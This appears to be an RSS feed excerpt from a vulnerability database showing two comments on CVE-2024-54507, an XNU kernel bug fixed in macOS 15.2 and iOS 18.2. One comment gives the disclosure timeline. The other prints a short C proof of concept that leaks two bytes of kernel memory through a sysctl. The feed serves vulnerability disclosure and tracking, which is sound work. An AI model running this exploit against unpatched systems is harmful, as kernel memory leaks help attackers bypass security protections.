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    <title>Most recent comments.</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent comments.</description>
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    <lastBuildDate>Sun, 24 May 2026 18:14:24 +0000</lastBuildDate>
    <item>
      <title>A particularly 'sus' sysctl in the XNU Kernel</title>
      <link>https://db.gcve.eu/comment/fa8ceb01-4bdc-4f10-8a64-5a1b671dc259</link>
      <description>### Timeline

* September 16, 2024: macOS 15.0 Sequoia was released with xnu-11215.1.10, the first public kernel release with this bug.
* Fall 2024: I reported this bug to Apple.
* December 11, 2024: macOS 15.2 and iOS 18.2 were released, fixing this bug, and assigning CVE-2024-54507 to this issue.</description>
      <content:encoded>### Timeline

* September 16, 2024: macOS 15.0 Sequoia was released with xnu-11215.1.10, the first public kernel release with this bug.
* Fall 2024: I reported this bug to Apple.
* December 11, 2024: macOS 15.2 and iOS 18.2 were released, fixing this bug, and assigning CVE-2024-54507 to this issue.</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/comment/fa8ceb01-4bdc-4f10-8a64-5a1b671dc259</guid>
      <pubDate>Fri, 24 Jan 2025 06:18:07 +0000</pubDate>
    </item>
    <item>
      <title>Proof Of Concept</title>
      <link>https://db.gcve.eu/comment/25c99b1c-5ba6-4c88-bac6-3ad6c5e525b4</link>
      <description>```c
// ravi (@0xjprx)
// 2-byte kernel infoleak, introduced in xnu-11215.1.10.
// gcc SUSCTL.c -o susctl
// ./susctl
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/sysctl.h&amp;gt;

void leak() {
    uint64_t val = 0;
    size_t len = sizeof(val);
    sysctlbyname("net.inet.udp.log.remote_port_excluded", &amp;amp;val, &amp;amp;len, NULL, 0);
    printf("leaked: 0x%llX 0x%llX\n", (val &amp;gt;&amp;gt; 16) &amp;amp; 0x0FF, (val &amp;gt;&amp;gt; 24) &amp;amp; 0x0FF);
}

int main() {
    leak();
    return 0;
}
```

from https://github.com/jprx/CVE-2024-54507</description>
      <content:encoded>```c
// ravi (@0xjprx)
// 2-byte kernel infoleak, introduced in xnu-11215.1.10.
// gcc SUSCTL.c -o susctl
// ./susctl
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/sysctl.h&amp;gt;

void leak() {
    uint64_t val = 0;
    size_t len = sizeof(val);
    sysctlbyname("net.inet.udp.log.remote_port_excluded", &amp;amp;val, &amp;amp;len, NULL, 0);
    printf("leaked: 0x%llX 0x%llX\n", (val &amp;gt;&amp;gt; 16) &amp;amp; 0x0FF, (val &amp;gt;&amp;gt; 24) &amp;amp; 0x0FF);
}

int main() {
    leak();
    return 0;
}
```

from https://github.com/jprx/CVE-2024-54507</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/comment/25c99b1c-5ba6-4c88-bac6-3ad6c5e525b4</guid>
      <pubDate>Fri, 24 Jan 2025 06:32:36 +0000</pubDate>
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